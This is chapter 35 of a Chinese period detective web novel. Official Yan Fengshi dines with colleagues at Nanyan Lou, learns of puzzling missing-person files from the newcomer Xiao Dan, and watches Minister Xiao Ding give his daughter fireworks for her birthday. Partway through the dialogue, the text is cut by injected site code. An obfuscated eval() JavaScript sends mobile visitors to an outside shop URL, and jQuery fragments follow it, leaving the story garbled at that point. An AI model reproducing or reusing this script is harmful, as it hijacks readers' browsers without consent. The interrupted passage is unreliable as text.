35. 第35章
    说是卷棚,其实三面围以竹屏,正中一面挂上白素帐纱。这样的竹屋绕着清溪,遍布南烟楼各处,时人风雅称之为“冰碧庐”。

    掀开帐帘,里面人已经到齐了。桌上一溜的佳肴,雁羹汤、干鱼鲊、炙鹿肉,通通都是硬货。闫风识眉毛微抬,寺丞们忙引着他上座。

    闫风识坐到正首,扭头便见陆霁向他打招呼。他点点头,道:“一下午不见你,跑哪去了?”

    陆霁忙着啃鹿腿,嘴中不得闲,含糊说:“大理寺的鸟都成精了,我打了半天,光薅下来鸟毛。”

    一旁寺丞哈哈笑:“非也,这叫术业有专攻,陆小郎君你研究尸体厉害,但论抓鸟,比不得寺里的署役。”

    陆霁耸肩,想起余大神神叨叨的样子,心想:恐怕还没比,余大自己就先溜了。不过,他那样子的确奇怪,陆霁抹干净嘴,靠近闫风识道:“表兄,你们这次回来有碰到什么不干净的东西吗?”

    闫风识见他问得认真,道:“为何这么问?”

    陆霁眨眼,压低声音:“今天下午我碰到余大,他一个人窝在树下装土,说是用来辟邪,那样子你没瞧见……”陆霁啧啧两声,“后来我说要来抓鸟,他吓得一蹦两丈远,说什么见到你后,不管见到什么,都不要声张,你瞧瞧,这都是什么乱七八糟的……”

    陆霁说得口沫横飞,扭头却见闫风识垂下眼眸,面容有些古怪,他正纳闷,白纱帘被人掀开,跑堂小子抱着酒葫芦走了进来,陆霁眼睛一亮,顿时岔开神。

    酒过三巡,原先还略显拘谨的寺丞见闫风识态度平和,并无署府办公的气势,纷纷打开话匣。

    一人云:“最近不太平啊,不光西边蠢蠢欲动,就连城内也多生是非。”

    一人道:“这几天好不容易清理完一批卷宗,都是流民打架生事的,听说大司马正考虑收编流民入伍,要我说,都是乌合之众,到了战场准撂担子先跑了。”

    另有人说:“也不尽然吧,没准是另一支羽林卫。”

    羽林卫大部分人出身流民,经陆氏整编训练,如今已然成为守护皇城的中流砥柱,赫赫威名于外,这些大家自然清楚。

    偏有人争辩:“陆氏军纪严明,百年传承,岂是其他军队轻易能效仿。”

    闫风识望过去,说话的人是李煦。

    李煦出生侨姓世家,如今大盛虽偏安江左,但他骨子里依然保持北地世家的清高,对南方世家不屑一顾,即便是已经身居高位的大司马。闫风识想起不久前陆霖的那番话,他说如今大司马虽闲居于家,但暗中动作频频,不仅安插亲信收拢流民,还意欲拉拢侨姓世家,各部中已有不少官员倒戈……方才他亦暗中留意,席间不少出身北地世家的寺丞亦开始为大司马说话。闫风识默默记下几个名字。

    李煦的话一时让席间沉默,众人打着哈哈,话题逐渐转到闲情雅趣上来。不知谁提起书法,有人拍腿道:“这南烟楼里,酒菜并非出名,独独一绝的是万人留书,听说连书圣薛道子的真迹都有。”

    众人惊喜,拉来跑堂小子问。跑堂小子笑呵呵推荐道:“各位大人,我楼里的确有书圣真迹,正放于听泉斋,请诸位移步。”

    跑堂带路,听泉斋隐在竹林中,是一座竹制斋房,屋后假山嶙峋,一汪泉水飞流而下,水声叮咚。众人迈步入内,内间亦有不少慕名而至的食客。跑堂指着正中一副字道:“诸位大人,这就是书圣真迹。如对此道有研究者,也可于后室留书,我楼会妥善保管诸公墨笔。”

    薛道子的悬帖旁,已站了不少人。众人对字兴叹,折服不已。

    闫风识对书法研究不深,也没兴趣往人群中央钻,看大家争瞧书圣真迹,他逆着人流,偏往阒静处走。

    竹屋壁上,张贴着不少食客留下的字迹,虽无名号,但一一看来,亦乏不少佳作。闫风识一路缓行,走到后室附近,见角落几案前团围着几人,正中一人正在提笔挥毫。

    闫风识看了几眼,绕到一侧条凳前坐下。他面前正挂着幅字,笔力险劲,峻宕雄浑。他凝眸细看,笔锋倒与薛道子有些相像,不过不及其洒脱。他又看落款,上面只有三个字——“异乡客”。

    “他乡羁旅思,同是宦游人。”身旁传来一声轻叹。

    闫风识回头,正是方才在几案前写字的人。

    “大人。”他躬身,仿佛才看到闫风识,面容带着局促。

    闫风识点头,这人是上午问他是否来聚餐的那位,是大理寺新人,名唤萧澹。他听他语气惆怅,问他是何方人。

    萧澹面颊染红,低声道:“小人祖籍豫章,一年前才入金陵。”

    “豫章素来人杰地灵。”闫风识见他眉心不舒,又道:“你刚来金陵,若有不懂之处,可多向寺丞们讨教。你如今在大理寺可还适应?”

    萧澹点头,顿了顿又摇头。

    闫风识知他为人老实,少不了被人安排杂事,便问:“可是卷宗处理不完?”

    萧澹这次没有惊惶,迟疑片刻后道:“大人,您在审理卷宗时可遇到过什么离奇的事?”

    离奇的事?大理寺署离奇的事当然不少。

    闫风识不答,萧澹仿佛也不在意答案,伏低了身子,轻言:“大概是小人多心了。只是……近日送来的一批案卷中,有几份失踪案很……蹊跷,小人有些琢磨不定……”

    这几年天灾不断,时有人突然没了音讯,这谈不上蹊跷,但闫风识看过萧澹审批的卷宗,思路严谨,缜密细致,倒有一些见地,他说难以决断,应该也不是无缘无故。闫风识点头,让他明日将这些案卷送来。

    萧澹忙拱手答谢。

    闫风识目光在他面上巡过,突问道:“你出身豫章萧氏,和萧尚书是何关系?”

    萧澹脸色微红,声如蚊蝇:“小人粗鄙,不敢和萧尚书有关系……”

    萧澹走后,有人“咦”了声:“大人,他是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598475|137944||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    萧尚书堂兄的庶子,算正经亲戚,不过他娘出生卑微,他在族里亦不受重视,要不是书读得好,也举荐不到他头上来……”

    闫风识淡眸一扫,后室里,已经来了不少寺丞,说话的是一位袁姓主薄,此人善交际,熟知各部人事底细。

    闫风识再次抬眸,萧澹已回到人群之末,垂首站在人中不发一词,此间人语嘈嘈,浑似与他无关。

    众人看罢书贴,得了眼福,兴尽而返。陆霁拉着寺丞还要拼酒,闫风识嘱咐几句,结账先行离开。

    月光疏朗,清风寂凉,闫风识漫步幽篁里,只觉天地萧然。水溪畔,大小冰碧庐依然亮着灯,远远看去,像黑夜里散落的萤虫,夜风送来胡笛低吟,如泣如诉,哀怨绵长。胡笛的曲声令他驻足。南烟楼,他想起阿怜……那个与她在此相会的人,那个躲在暗处下毒行凶之人,会是马婆婆指认的那人吗?如果是她,她为何要杀掉亲生女儿?还有马用,又是因何被杀?

    闫风识揉揉眉心,这起案件发展到如今这般,是他始料未及,阿怜,乞儿、马用、姑母……未来还会有人牵扯进来吗?

    不远处冰碧庐中不断有人掀开帘帐,似是同被胡笛所感。闫风识回首,发现水畔清溪边,不知何时走来两人。

    其中一人步态沉稳,气度威严,他身旁的人则一袭流云霓衫,步态娉婷。闫风识眸光一暗……这两人,是萧尚书和萧娇。

    原来今日正是萧娇生辰。萧鼎于南烟楼设宴,独请萧娇一人。席间并无外人,萧鼎追忆往昔,很是动容,父女俩一问一答,言谈间竟是罕见的和谐。饭毕,两人又踏步竹林,若不是之前的种种,萧娇这会就要生出一种父慈子孝的恍惚之感了。

    萧鼎伫立溪畔,静听流水无声,目光怅惘:“再过半月,便是中秋。此夜过后,我就要动身下巡地方,今年中秋,怕是不能回来过了。”

    萧娇抿唇,望着水中半轮明月,犹豫半晌道:“阿耶辛苦,您在外,要注意身体。”

    萧鼎抚髯而笑:“阿狸,为父没想到,此生竟还能如此与你对话。”笑了几声,又转为叹息,“我知道,你心中有怨,不愿接受容如,我不勉强,但只希望你能更公正看待她,毕竟我和她认识早在你娘之前,而这么多年,她也从未苛责过你……”

    萧鼎转过头,望向萧娇:“今年中秋,我希望你能回府,和她一起过节,这也是她一直以来希望的,等你和她接触之后,你会发现,她是个心善温雅的人。”

    萧娇目光闪躲,许久并没说话。萧鼎浑不在意,用手一指。却见浓黑天幕间,倏然一道火光,下一瞬,火光炸裂开,万千星点纷扬而落,恰如星雨落花,绚烂夺目。

    萧娇眼眸被烟花染亮,她心头微微一震,再扭头,见萧鼎负手而立,嘴角含笑:“这是为父为你准备的生辰礼,喜欢吗?”

    烟花灿烂,萧娇眼中的萧鼎,一反多年冷漠,正温情和煦地望着她,俨然慈父情深。